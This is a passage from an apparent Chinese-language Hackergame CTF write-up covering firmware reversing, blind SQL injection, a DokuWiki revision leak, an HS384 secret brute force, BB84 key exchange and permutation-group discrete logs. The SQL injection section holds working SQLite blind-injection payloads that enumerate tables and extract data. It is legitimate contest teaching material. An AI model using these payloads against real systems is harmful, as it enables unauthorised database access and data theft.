<span class="kd">let</span> <span class="nx">r3s</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">i</span><span class="o"><</span><span class="nx">values</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="nx">i</span><span class="o">++</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nx">r3</span><span class="o">===</span><span class="kc">null</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nx">values</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="o">===</span><span class="mh">0xFE</span><span class="p">){</span>
<span class="nx">r3</span><span class="o">=</span><span class="p">[]</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nx">r3</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">values</span><span class="p">[</span><span class="nx">i</span><span class="p">])</span>
<span class="k">if</span><span class="p">(</span><span class="nx">r3</span><span class="p">.</span><span class="nx">length</span><span class="o">>=</span><span class="mi">512</span><span class="p">){</span>
<span class="nx">r3s</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">r3</span><span class="p">)</span>
<span class="nx">r3</span><span class="o">=</span><span class="kc">null</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">removeSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">dataout</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">r3s</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">r3</span><span class="o">=></span><span class="p">{</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">appendFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">dataout</span><span class="dl">"</span><span class="p">,</span><span class="nb">Uint8Array</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">r3</span><span class="p">))</span>
<span class="p">})</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">r3s</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">s3</span><span class="o">=></span><span class="nx">s3</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="o">=></span><span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">)))</span>
</code></pre></div></div>
<p>在输出的文件的接近 0x200 位置就能找到答案。当然这里把后面几个区块也读了出来,后面的小题大概能用到。</p>
<h2 id="片上系统---操作系统">片上系统 - 操作系统</h2>
<p>那么,把第一个扇区的内容拖进 Ghidra,反汇编,拉到最下面发现最后是跳转到了 0x20001000 地址。那么,把剩下的扇区的内容拖进 Ghidra,反汇编,发现有 <code class="language-plaintext highlighter-rouge">flag{</code> 字符串,找到引用,阅读附近的代码,立即发现串口输出状态在 0x93000008、串口输出数据在 0x93000000。而在输出 <code class="language-plaintext highlighter-rouge">flag{</code> 和 <code class="language-plaintext highlighter-rouge">}</code> 之间则分别以 0x20001018、0xfeadae83、0xe0 为参数调用了位于 0x2000101 的函数。不妨给它起名为 <code class="language-plaintext highlighter-rouge">print_flag_content</code>。它的代码反汇编后如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">print_flag_content</span><span class="p">(</span><span class="n">uint</span> <span class="n">input</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">uint</span> <span class="n">length</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">v2</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">v1</span><span class="p">;</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">sdata</span><span class="p">;</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">sready</span><span class="p">;</span>
<span class="n">sdata</span> <span class="o">=</span> <span class="n">serial_data</span><span class="p">;</span>
<span class="n">sready</span> <span class="o">=</span> <span class="n">serial_ready</span><span class="p">;</span>
<span class="n">length</span> <span class="o">=</span> <span class="mh">0x1c</span><span class="p">;</span>
<span class="k">do</span> <span class="p">{</span>
<span class="n">v1</span> <span class="o">=</span> <span class="n">input</span> <span class="o">>></span> <span class="p">(</span><span class="n">length</span> <span class="o">&</span> <span class="mh">0x1f</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xf</span><span class="p">;</span>
<span class="n">v2</span> <span class="o">=</span> <span class="mh">0x30</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">9</span> <span class="o"><</span> <span class="n">v1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">v2</span> <span class="o">=</span> <span class="mh">0x57</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">do</span> <span class="p">{</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">sready</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
<span class="o">*</span><span class="n">sdata</span> <span class="o">=</span> <span class="n">v2</span> <span class="o">+</span> <span class="n">v1</span><span class="p">;</span>
<span class="k">do</span> <span class="p">{</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="o">*</span><span class="n">sready</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">length</span> <span class="o">=</span> <span class="n">length</span> <span class="o">-</span> <span class="mi">4</span><span class="p">;</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">length</span> <span class="o">!=</span> <span class="mh">0xfffffffc</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>实际运行发现它只是把输入的数值以十六进制输出而已。由此便能得到答案。</p>
<h2 id="你先别急">你先别急</h2>
<p>要想从数据库里偷信息,那就只能 SQL 注入了。为此我们先把获取验证码的代码复制下来改改准备一下。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">refresh</span> <span class="o">=</span> <span class="p">(</span><span class="nx">username</span><span class="p">)</span><span class="o">=></span><span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
<span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span>
<span class="na">url</span><span class="p">:</span> <span class="dl">"</span><span class="s2">/captcha</span><span class="dl">"</span><span class="p">,</span>
<span class="na">data</span><span class="p">:</span> <span class="p">{</span>
<span class="nx">username</span>
<span class="p">},</span>
<span class="na">success</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">select</span><span class="p">.</span><span class="nx">disabled</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">result</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">result</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">result</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">#capimg</span><span class="dl">"</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="dl">"</span><span class="s2">src</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">data:image/png;charset=utf-8;base64,</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">result</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">})</span>
</code></pre></div></div>
<p>首先来验证一下是否能 SQL 注入。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">refresh</span><span class="p">(</span><span class="dl">"</span><span class="s2">Simple-1'--</span><span class="dl">"</span><span class="p">)</span>
</code></pre></div></div>
<p>这时发现验证码是纯数字,说明服务器认为这个用户名对应的是低风险用户,注入成功。经过如果是不存在的用户名或者 SQL 错误那么就会按照最高风险生成验证码。也就是说,我们只能每次注入从数据库获取一比特的信息。这就是所谓的 SQL 盲注吧。另外就是,由于我懒得想怎么自动识别这个验证码,所以我就手动注入了,毕竟我又不急嘛。(当然官方题解果然是自动识别验证码的。)</p>
<p>首先来确定是什么数据库。既然是快速写的,那多半是 sqlite 吧。那么我找了一份 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md" target="_blank" rel="noopener">参考资料</a>,来试一试。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">refresh</span><span class="p">(</span><span class="dl">"</span><span class="s2">Simple-1' and length(sqlite_version())>0 --</span><span class="dl">"</span><span class="p">)</span>
</code></pre></div></div>
<p>成功,是 sqlite。接下来就是探测内容了。首先是看看有几张表。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 探测表的数量是否大于 n</span>
<span class="p">(</span><span class="nx">n</span><span class="p">)</span><span class="o">=></span><span class="nx">refresh</span><span class="p">(</span><span class="s2">`Simple-1' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) > </span><span class="p">${</span><span class="nx">n</span><span class="p">}</span><span class="s2"> --`</span><span class="p">)</span>
</code></pre></div></div>
<p>对不同的 n 进行试验,发现一共有两张表。那么来探测一下表名。首先是表名长度。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 探测第 n 个表的表名长度是否大于 l</span>
<span class="p">(</span><span class="nx">n</span><span class="p">,</span><span class="nx">l</span><span class="p">)</span><span class="o">=></span><span class="nx">refresh</span><span class="p">(</span><span class="s2">`Simple-1' and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset </span><span class="p">${</span><span class="nx">n</span><span class="p">}</span><span class="s2">) > </span><span class="p">${</span><span class="nx">l</span><span class="p">}</span><span class="s2"> --`</span><span class="p">)</span>
</code></pre></div></div>
<p>那么第一张表表名长度为 5,第二张表表名长度为 4。合理猜测,是 users 和 flag。来验证一下。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 探测第 n 个表的表名是否为 s</span>
<span class="p">(</span><span class="nx">n</span><span class="p">,</span><span class="nx">s</span><span class="p">)</span><span class="o">=></span><span class="nx">refresh</span><span class="p">(</span><span class="s2">`Simple-1' and (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset </span><span class="p">${</span><span class="nx">n</span><span class="p">}</span><span class="s2">) = '</span><span class="p">${</span><span class="nx">s</span><span class="p">}</span><span class="s2">' --`</span><span class="p">)</span>
</code></pre></div></div>
<p>那么,果然没猜错。那么接下来就是探测表结构了。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 探测第 flag 表创建时的 SQL 语句长度是否大于 n</span>
<span class="p">(</span><span class="nx">n</span><span class="p">)</span><span class="o">=></span><span class="nx">refresh</span><span class="p">(</span><span class="s2">`Simple-1' and (SELECT length(sql) FROM sqlite_master WHERE type='table' and tbl_name='flag') > </span><span class="p">${</span><span class="nx">n</span><span class="p">}</span><span class="s2"> --`</span><span class="p">)</span>
<span class="c1">// 探测第 flag 表创建时的 SQL 语句从第 f 个字符开始是否为 s 字符串</span>
<span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="nx">f</span><span class="p">)</span><span class="o">=></span><span class="nx">refresh</span><span class="p">(</span><span class="s2">`Simple-1' and (SELECT substr(sql,</span><span class="p">${</span><span class="nx">f</span><span class="p">}</span><span class="s2">,</span><span class="p">${</span><span class="nx">s</span><span class="p">.</span><span class="nx">length</span><span class="p">}</span><span class="s2">) FROM sqlite_master WHERE type='table' and tbl_name='flag') = '</span><span class="p">${</span><span class="nx">s</span><span class="p">}</span><span class="s2">' --`</span><span class="p">)</span>
</code></pre></div></div>
<p>经过一番探测和猜测,得到了 flag 表的结构</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">flag</span> <span class="p">(</span><span class="n">flag</span> <span class="nb">text</span><span class="p">)</span>
</code></pre></div></div>
<p>那么,接下来是探测 flag 的内容了。由于 flag 中可能出现的字符种类很多,所以还需要有更先进的探测方式。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 探测第 flag 长度是否大于 n</span>
<span class="p">(</span><span class="nx">n</span><span class="p">)</span><span class="o">=></span><span class="nx">refresh</span><span class="p">(</span><span class="s2">`Simple-1' and (SELECT length(flag) FROM flag) > </span><span class="p">${</span><span class="nx">n</span><span class="p">}</span><span class="s2"> --`</span><span class="p">)</span>
<span class="c1">// 探测第 flag 的第 f 个字符的 ACSII 编码是否大于字符 c 的</span>
<span class="p">(</span><span class="nx">c</span><span class="p">,</span><span class="nx">f</span><span class="p">)</span><span class="o">=></span><span class="nx">refresh</span><span class="p">(</span><span class="s2">`Simple-1' and (SELECT hex(substr(flag,</span><span class="p">${</span><span class="nx">f</span><span class="p">}</span><span class="s2">,1)) FROM flag) > hex('</span><span class="p">${</span><span class="nx">c</span><span class="p">}</span><span class="s2">') --`</span><span class="p">)</span>
<span class="c1">// 探测第 flag 第 f 个字符开始是否为 s 字符串</span>
<span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="nx">f</span><span class="p">)</span><span class="o">=></span><span class="nx">refresh</span><span class="p">(</span><span class="s2">`Simple-1' and (SELECT substr(flag,</span><span class="p">${</span><span class="nx">f</span><span class="p">}</span><span class="s2">,</span><span class="p">${</span><span class="nx">s</span><span class="p">.</span><span class="nx">length</span><span class="p">}</span><span class="s2">) FROM flag) = '</span><span class="p">${</span><span class="nx">s</span><span class="p">}</span><span class="s2">' --`</span><span class="p">)</span>
</code></pre></div></div>
<p>如此便可以探测出 flag 的内容了。</p>
<h2 id="flag-的痕迹">Flag 的痕迹</h2>
<p>本来打算爆破对应的 rev 编号的(因为 Dokuwiki 的 rev 编号非常接近编辑时间),但是跑了半天只爆破出了当前版本的 rev 编号。另一方面鼓捣了半天各种 do 的 action 没有结果,最后在 do=diff 的界面中找到了旧版本。一开始是因为觉得 diff 一定需要有两个 rev 才能进行,没想到它会默认使用最新版本并且会在页面中吐出所有的版本的列表。</p>
<p>这么一看,按照这个 rev 编号真的爆破的话以我的简单实现来看可能得爆破个两周,比赛时间内大概是来不及的。</p>
<h2 id="惜字如金---hs384">惜字如金 - HS384</h2>
<p>只需还原 <code class="language-plaintext highlighter-rouge">secret</code> 即可。还好命题组补充说明没有任何大写字母因为本题受到伤害,不然就会因为大小写字母导致的可能性爆炸而不能爆破了。以下是爆破代码:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="n">sha384</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="k">def</span> <span class="nf">xzrj</span><span class="p">(</span><span class="n">string</span><span class="p">):</span>
<span class="n">step1</span><span class="o">=</span><span class="n">re</span><span class="p">.</span><span class="n">sub</span><span class="p">(</span><span class="s">"([a-zA-Z]*[b-df-hj-np-tv-zB-DF-HJ-NP-TV-Z])(e|E)"</span><span class="p">,</span><span class="k">lambda</span> <span class="n">match</span><span class="p">:</span><span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span><span class="n">string</span><span class="p">)</span>
<span class="n">step2</span><span class="o">=</span><span class="n">re</span><span class="p">.</span><span class="n">sub</span><span class="p">(</span><span class="s">"(b+|c+|d+|f+|g+|h+|j+|k+|l+|m+|n+|p+|q+|r+|s+|t+|v+|w+|x+|y+|z+)"</span><span class="p">,</span><span class="k">lambda</span> <span class="n">match</span><span class="p">:</span><span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span><span class="n">step1</span><span class="p">)</span>
<span class="n">step3</span><span class="o">=</span><span class="n">re</span><span class="p">.</span><span class="n">sub</span><span class="p">(</span><span class="s">"(B+|C+|D+|F+|G+|H+|J+|K+|L+|M+|N+|P+|Q+|R+|S+|T+|V+|W+|X+|Y+|Z+)"</span><span class="p">,</span><span class="k">lambda</span> <span class="n">match</span><span class="p">:</span><span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span><span class="n">step2</span><span class="p">)</span>
<span class="k">return</span> <span class="n">step3</span>
<span class="k">for</span> <span class="n">e1Count</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">):</span>
<span class="n">used1</span><span class="o">=</span><span class="n">e1Count</span>
<span class="k">for</span> <span class="n">e2Count</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">):</span>
<span class="n">used2</span><span class="o">=</span><span class="n">used1</span><span class="o">+</span><span class="n">e2Count</span>
<span class="k">for</span> <span class="n">sCount</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">28</span><span class="o">-</span><span class="n">used2</span><span class="p">):</span>
<span class="n">used3</span><span class="o">=</span><span class="n">used2</span><span class="o">+</span><span class="n">sCount</span>
<span class="k">for</span> <span class="n">tCount</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">28</span><span class="o">-</span><span class="n">used3</span><span class="p">):</span>
<span class="n">used4</span><span class="o">=</span><span class="n">used3</span><span class="o">+</span><span class="n">tCount</span>
<span class="k">for</span> <span class="n">c1Count</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">28</span><span class="o">-</span><span class="n">used4</span><span class="p">):</span>
<span class="n">used5</span><span class="o">=</span><span class="n">used4</span><span class="o">+</span><span class="n">c1Count</span>
<span class="k">for</span> <span class="n">dCount</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">28</span><span class="o">-</span><span class="n">used5</span><span class="p">):</span>
<span class="n">used6</span><span class="o">=</span><span class="n">used5</span><span class="o">+</span><span class="n">dCount</span>
<span class="k">for</span> <span class="n">c2Count</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">28</span><span class="o">-</span><span class="n">used6</span><span class="p">):</span>
<span class="n">used7</span><span class="o">=</span><span class="n">used6</span><span class="o">+</span><span class="n">c2Count</span>
<span class="n">nCount</span><span class="o">=</span><span class="mi">28</span><span class="o">-</span><span class="n">used7</span>
<span class="n">secret</span><span class="o">=</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">([</span>
<span class="s">'u'</span><span class="p">,</span>
<span class="s">'s'</span><span class="p">,</span>
<span class="s">'s'</span><span class="o">*</span><span class="n">sCount</span><span class="p">,</span>
<span class="s">'t'</span><span class="p">,</span>
<span class="s">'t'</span><span class="o">*</span><span class="n">tCount</span><span class="p">,</span>
<span class="s">'c'</span><span class="p">,</span>
<span class="s">'c'</span><span class="o">*</span><span class="n">c1Count</span><span class="p">,</span>
<span class="s">'e'</span><span class="o">*</span><span class="n">e1Count</span><span class="p">,</span>
<span class="s">'.'</span><span class="p">,</span>
<span class="s">'e'</span><span class="p">,</span>
<span class="s">'d'</span><span class="p">,</span>
<span class="s">'d'</span><span class="o">*</span><span class="n">dCount</span><span class="p">,</span>
<span class="s">'u'</span><span class="p">,</span>
<span class="s">'.'</span><span class="p">,</span>
<span class="s">'c'</span><span class="p">,</span>
<span class="s">'c'</span><span class="o">*</span><span class="n">c2Count</span><span class="p">,</span>
<span class="s">'n'</span><span class="p">,</span>
<span class="s">'n'</span><span class="o">*</span><span class="n">nCount</span><span class="p">,</span>
<span class="s">'e'</span><span class="o">*</span><span class="n">e2Count</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">secret</span><span class="p">)</span><span class="o">!=</span><span class="mi">39</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'gen fault'</span><span class="p">,</span><span class="n">secret</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">()</span>
<span class="k">if</span> <span class="n">xzrj</span><span class="p">(</span><span class="n">secret</span><span class="p">)</span><span class="o">!=</span><span class="s">'ustc.edu.cn'</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'xzrj fault'</span><span class="p">,</span><span class="n">secret</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">()</span>
<span class="n">digest</span><span class="o">=</span><span class="p">(</span><span class="n">sha384</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">secret</span><span class="p">,</span><span class="s">'utf-8'</span><span class="p">)).</span><span class="n">hexdigest</span><span class="p">())</span>
<span class="n">simplified</span><span class="o">=</span><span class="n">xzrj</span><span class="p">(</span><span class="n">digest</span><span class="p">)</span>
<span class="k">if</span> <span class="n">simplified</span><span class="o">==</span><span class="s">'ec18f9dbc4aba825c7d4f9c726db1cb0d0babf47fa170f33d53bc62074271866a4e4d1325dc27f644fdad'</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">simplified</span><span class="p">,</span><span class="n">secret</span><span class="p">,</span><span class="n">digest</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">()</span>
<span class="k">if</span> <span class="n">simplified</span><span class="o">==</span><span class="s">'ec18f9dbc4aba825c7d4f9c726db1cb0d0babf47fea170f33d53bc62074271866a4e4d1325dc27f644fdad'</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">simplified</span><span class="p">,</span><span class="n">secret</span><span class="p">,</span><span class="n">digest</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">'not found'</span><span class="p">)</span>
</code></pre></div></div>
<p>得到 <code class="language-plaintext highlighter-rouge">secret</code> 之后填回去运行即可。</p>
<h2 id="量子藏宝图">量子藏宝图</h2>
<p>量子密码学科普问题。在第一章-第一幕,首先我们生成一下制备基底和量子态。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">aliceBasis</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="o">=</span><span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mi">512</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="kc">null</span><span class="p">).</span><span class="nx">map</span><span class="p">(()</span><span class="o">=></span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span><span class="o">></span><span class="mf">0.5</span><span class="p">?</span><span class="dl">"</span><span class="s2">+</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">x</span><span class="dl">"</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">""</span><span class="p">)</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">aliceResult</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="o">=</span><span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mi">512</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="kc">null</span><span class="p">).</span><span class="nx">map</span><span class="p">(()</span><span class="o">=></span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span><span class="o">></span><span class="mf">0.5</span><span class="p">?</span><span class="dl">"</span><span class="s2">0</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">1</span><span class="dl">"</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">""</span><span class="p">)</span>
</code></pre></div></div>
<p>然后是计算密钥。我们把制备基底和测量基底相同时的量子态提取出来,作为密钥。</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">secretKey</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="o">=</span><span class="dl">""</span>
<span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">i</span><span class="o"><</span><span class="mi">512</span><span class="p">;</span><span class="nx">i</span><span class="o">++</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">aliceBasis</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="o">==</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">bobBasis</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="p">[</span><span class="nx">i</span><span class="p">]){</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">secretKey</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="o">+=</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">aliceResult</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>最后是解析藏宝图。提示说是 <a href="https://qiskit.org/textbook/ch-algorithms/bernstein-vazirani.html" target="_blank" rel="noopener">Bernstein-Vazirani 算法</a>,也就是说,中间的部分是将一个秘密字符串按位乘到上面去再求和。在前面那个介绍页面中实验发现,中间的比特如果有和底部的哪一个比特连接,则对应位为 1,反之则为 0,并且图中的 X、Z 门都是不需要关心的。那么手动抄写一下比特再转成 ASCII 字符就好。</p>
<h2 id="置换魔群---置换群上的超大离散对数">置换魔群 - 置换群上的超大离散对数</h2>
<p>这里的要点是生成阶的最小公倍数尽可能大的两个元素。一开始采取启发式的搜索方式发现不够大,最后借鉴了 <a href="http://oeis.org/A000793" target="_blank" rel="noopener">OEIS 上的 A000793 (也就是置换群元素最大阶的数列)的页面</a> 上的算法,先确定性的算出阶最大的元素,再算出阶与最大的阶互质的元素中阶最大的元素。这样二者的阶的最小公倍数就能达到所需要的阶的 99% 甚至 100% 以上,再套用第二小题的方法,就(几乎)能得出正确结果了。代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pwn</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="kn">import</span> <span class="nn">sympy</span>
<span class="kn">import</span> <span class="nn">heapq</span>
<span class="kn">from</span> <span class="nn">functools</span> <span class="kn">import</span> <span class="nb">reduce</span>
<span class="kn">from</span> <span class="nn">sympy.ntheory</span> <span class="kn">import</span> <span class="n">factorint</span>
<span class="kn">from</span> <span class="nn">sympy.ntheory.modular</span> <span class="kn">import</span> <span class="n">crt</span>
<span class="kn">from</span> <span class="nn">permutation_group</span> <span class="kn">import</span> <span class="n">permutation_element</span><span class="p">,</span> <span class="n">permutation_group</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">pwn</span><span class="p">.</span><span class="n">remote</span><span class="p">(</span><span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">10114</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'<id>:<token></span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> your choice: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'3</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">genLoopWithInvalidPrimes</span><span class="p">(</span><span class="n">length</span><span class="p">,</span><span class="n">used_primes</span><span class="o">=</span><span class="nb">set</span><span class="p">()):</span>
<span class="n">lcm</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">*</span><span class="p">(</span><span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
<span class="n">loops</span><span class="o">=</span><span class="p">[[]]</span><span class="o">*</span><span class="p">(</span><span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
<span class="n">primes</span><span class="o">=</span><span class="p">[[]]</span><span class="o">*</span><span class="p">(</span><span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">sympy</span><span class="p">.</span><span class="n">primerange</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
<span class="k">if</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">used_primes</span><span class="p">:</span>
<span class="k">continue</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">,</span> <span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
<span class="n">hi</span> <span class="o">=</span> <span class="n">lcm</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
